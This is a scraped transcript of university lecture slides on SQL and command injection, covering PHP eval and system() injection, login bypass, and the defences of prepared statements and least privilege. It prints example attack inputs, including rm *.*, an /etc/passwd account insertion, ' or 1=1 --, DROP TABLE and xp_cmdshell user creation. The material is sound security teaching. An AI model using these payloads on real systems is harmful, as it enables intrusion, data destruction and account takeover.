Tyler Moore Some slides developed by John Mitchell for Stanford CS155

Slides:



Advertisements
Similar presentations
Nick Feamster CS 6262 Spring 2009
Advertisements

Forms Authentication, Users, Roles, Membership Ventsislav Popov Crossroad Ltd.
1 Project 2: Web App Security Collin Jackson CS 155 Spring 2007.
How Did I Steal Your Database Mostafa
Introduction The concept of “SQL Injection”
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Web Application Security An Introduction. OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management.
Dec 13 th CS555 presentation1 Yiwen Wang --“Securing the DB may be the single biggest action an organization can take to protect its assets” David C. Knox.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
Injection Attacks by Example SQL Injection and XSS Adam Forsythe Thomas Hollingsworth.
1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 2009.
Varun Sharma Security Engineer | ACE Team | Microsoft Information Security
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Web Application Attacks ECE 4112 Fall 2007 Group 9 Zafeer Khan & Simmon Yau.
Check That Input Preventing SQL Injection Attacks By Andrew Morton For CS 410.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
Lecture slides prepared for “Computer Security: Principles and Practice”, 3/e, by William Stallings and Lawrie Brown, Chapter 5 “Database and Cloud Security”.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
Copyright © 2013 Curt Hill Database Security An Overview with some SQL.
Effective Security in ASP.Net Applications Jatin Sharma: Summer 2005.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Michael Dalton, Christos Kozyrakis, and Nickolai Zeldovich MIT, Stanford University USENIX 09’ Nemesis: Preventing Authentication & Access Control Vulnerabilities.
SQL Injection Anthony Brown March 4, 2008 IntroductionQuestionsBackgroundTechniquesPreventionDemoConclusions.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
Web Application Security Part I Tyler Moore Based on Slides developed John Mitchell for Stanford CS155 CS 7403 Spring 2016.
Defending Applications Against Command Insertion Attacks Penn State Web Conference 2003 Arthur C. Jones June 18, 2003.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
Page 1 Ethical Hacking by Douglas Williams. Page 2 Intro Attackers can potentially use many different paths through your application to do harm to your.
Cosc 5/4765 Database security. Database Databases have moved from internal use only to externally accessible. –Organizations store vast quantities of.
Database and Cloud Security
Module: Software Engineering of Web Applications
Building Secure ColdFusion Applications
Web Application Vulnerabilities
An Introduction to Web Application Security
SQL Primer Boston University CS558 Network Security Fall 2015
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Introduction to Dynamic Web Programming
TOPIC: Web Security (Part-4)
SQL Injection.
SQL INJECTION ATTACKS.
SQL Injection Attacks Many web servers have backing databases
Cross-Site Forgery
Computer Security Fundamentals
Intro to Web Security Kevin Zeng
Security in Moodle plugins
Web Application Security
PHP: Security issues FdSc Module 109 Server side scripting and
Riding Someone Else’s Wave with CSRF
Web Security Advanced Network Security Peter Reiher August, 2014
Lecture 2 - SQL Injection
Web Security CS 136 Computer Security Peter Reiher March 11, 2010
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Lecture 27 Security I April 4, 2018 Open news web sites.
Web Application Security
Presentation transcript:

Tyler Moore Some slides developed by John Mitchell for Stanford CS155 CS 4113/CS 6103 Spring 2018 SQL Injection Tyler Moore Some slides developed by John Mitchell for Stanford CS155

Three vulnerabilities we will discuss XSS – Cross-site scripting Bad web site sends innocent victim a script that steals information from an honest web site CSRF – Cross-site request forgery Bad web site sends browser request to good web site, using credentials of an innocent victim SQL Injection Browser sends malicious input to server Bad input checking leads to malicious SQL query Inject malicious script into trusted context Leverage user’s session at victim sever Uses SQL to change meaning of database command

OWASP Top Ten (2013) A-1 Injection Untrusted data is sent to an interpreter as part of a command or query. A-2 Authentication and Session Management Attacks passwords, keys, or session tokens, or exploit other implementation flaws to assume other users’ identities. A-3 Cross-site scripting An application takes untrusted data and sends it to a web browser without proper validation or escaping … Various implementation problems …expose a file, directory, or database key without access control check, …misconfiguration, …missing function-level access control A-8 Cross-site request forgery A logged-on victim’s browser sends a forged HTTP request, including the victim’s session cookie and other authentication information https://www.owasp.org/index.php/Top_10_2013-Top_10

http://www.nytimes.com/2010/11/14/magazine/14Hacker-t.html

SQL Injection Hacking Albert Gonzalez and crew hacked into: TJ Maxx Heartland Payment Systems Hannaford Brothers 7-Eleven Dave & Buster’s DSW Office Max Sports Authority Forever 21image Barnes & Noble Boston Market BJ’s Wholesale Club

Background for SQL Injection Command Injection Background for SQL Injection

General code injection attacks Attack goal: execute arbitrary code on the server Example code injection based on eval (PHP) http://site.com/calc.php (server side calculator) Attack http://site.com/calc.php?exp=“ 10 ; system(‘rm *.*’) ” … $in = $_GET[‘exp']; eval('$ans = ' . $in . ';'); Whitelisting: allow only digits, +, -, *, / in $in Blacklisting (bad): disallow “;” in $in --- but attacker can do “ 10 + system(…) ” (URL encoded)

Code injection using system() Example: PHP server-side code for sending email Attacker can post OR $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls

SQL Injection

Let’s see how the attack described in this cartoon works…

Database queries with PHP (the wrong way) Sample PHP Problem What if ‘recipient’ is malicious string that changes the meaning of the query? $recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db->executeQuery($sql);

Basic picture: SQL Injection Victim Server post malicious form 1 2 unintended SQL query 3 receive valuable data Attacker Victim SQL DB

CardSystems Attack CardSystems credit card payment processing company SQL injection attack in June 2005 put out of business The Attack 263,000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed

http://www. cvedetails http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html

Example: buggy login page (ASP,VB) set ok = execute( "SELECT * FROM Users WHERE user=' " & form(“user”) & " ' AND pwd=' " & form(“pwd”) & “ '” ); if not ok.EOF login success else fail; Is this exploitable? This snipet is in VB.

Normal Query DB Web Browser (Client) Web Server SELECT * FROM Users Enter Username & Password Web Server DB SELECT * FROM Users WHERE user='me' AND pwd='1234' Normal Query

Bad input Suppose user = “ ' or 1=1 -- ” (URL encoded) Then scripts does: ok = execute( SELECT … WHERE user= ' ' or 1=1 -- … ) The “--” causes rest of line to be ignored. Now ok.EOF is always false and login succeeds. The bad news: easy login to many sites this way.

Even worse Suppose user = “ ′ ; DROP TABLE Users -- ” Then script does: ok = execute( SELECT … WHERE user= ′ ′ ; DROP TABLE Users … ) Deletes user table Similarly: attacker can add users, reset pwds, etc.

Even worse … Suppose user = ′ ; exec cmdshell ′net user badguy badpwd′ / ADD -- Then script does: ok = execute( SELECT … WHERE username= ′ ′ ; exec … ) If SQL server context runs as “sa”, attacker gets account on DB server

Microsoft SQL Server Equivalent Suppose user = ′ ; exec xp_cmdshell ′dir c:\’; --’ Then script does: ok = execute( SELECT … WHERE username= ′ ′ ; exec … ) Good news: Since SQL Server 2005, xp_cmdshell disabled by default Bad news: attacker can turn it back on ok = execute( SELECT … WHERE username= ′ ′; exec sp_configure ’xp_cmdshell’, 1; --’)

XSS/SQL Injection Blended Attack

XSS/SQL Injection Blended Attack Asprox botnet has infected millions of websites in this manner, and has operated for 10 years

Dangers of detailed errors Some SQL injection attacks require knowledge of database table names and schemas How can attackers gain this information? Step 1: try inserting a ‘ or other command to trigger an error Step 2: use the detailed error to identify table names and intended query syntax

Commands reveal schemas ANSI standard command to reveal DB metadata Use UNION SELECT command to get data from multiple tables On Oracle, do this: Get tables: SELECT TABLE_NAME FROM USER_TABLES Get column names/types: DESCRIBE Salesperson What to do? Remove detailed error messages Prevent SQL injection in the first place

Removing detailed error messages Suppose you want a page to prompt for a customer number, then go to page of past orders if available or homepage otherwise First attempt:

Removing detailed error messages This is better: However, it’s still vulnerable to blind SQL injection

Blind SQL injection Even if the schemas cannot be obtained, an attacker can frequently still infer the table names Step 1: Try for an error, no response if error handling Step 2: Try for legit statement to verify vulnerability Step 3: Try to get different behavior for 0-result query Step 4: Craft yes/no queries to test table names

Preventing SQL Injection Never build SQL commands yourself ! Whitelisting expected inputs over blacklisting bad inputs Use parameterized/prepared SQL statements Set DB access control permissions to limit damage

False start: blacklisting This code blocks single quotes: What could possibly go wrong? Blacklisting is bad because it has false positives (John O’Malley) and false negatives (other ways to get through besides single quotes, different encodings ‘ becomes %27 for instance)

Better: casting If your input expects a number, then why represent it as a string?

Best: Parameterized/prepared SQL Builds SQL queries by properly escaping args: ′  \′ Instead of: Do this: Note: syntax varies, see Parameterized SQL: (ASP.NET 1.1) SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader(); Escapes with \. ‘ -> \’ . DB independent --- different DB’s have different rules for escaping. This snipet is in C#

What if you can’t use prepared statements? Parameterized queries aren’t always available Solution: rewrite your code so that users cannot specify database objects such as table or field names

Defending SQL Injection: Summary Ensure only generic errors are displayed to web users Validate simple input types like CC#s, ZIP codes Verify that input matches expected known pattern rather than block bad patterns If input is numeric, don’t make it a string Best defense: use prepared statements

Database access control For defense in depth, you should also try to limit the potential damage of injected queries Where possible, explicitly deny permissions that aren’t needed If it doesn’t need to write to the filesystem, deny If it doesn’t need to modify tables, deny Most web apps use one dedicated, privileged user account to access database Rarely does this user need unlimited permissions So you should think about what is actually needed at design time and only permit that

Updating database permissions In some contexts, can use GUI admin tool But there are also SQL commands Suppose web_app_user should not be able to update the Orders table: Or prohibit ability to create new tables: Command to remove creds: REVOKE Command to add creds: GRANT

Separate accounts for separate roles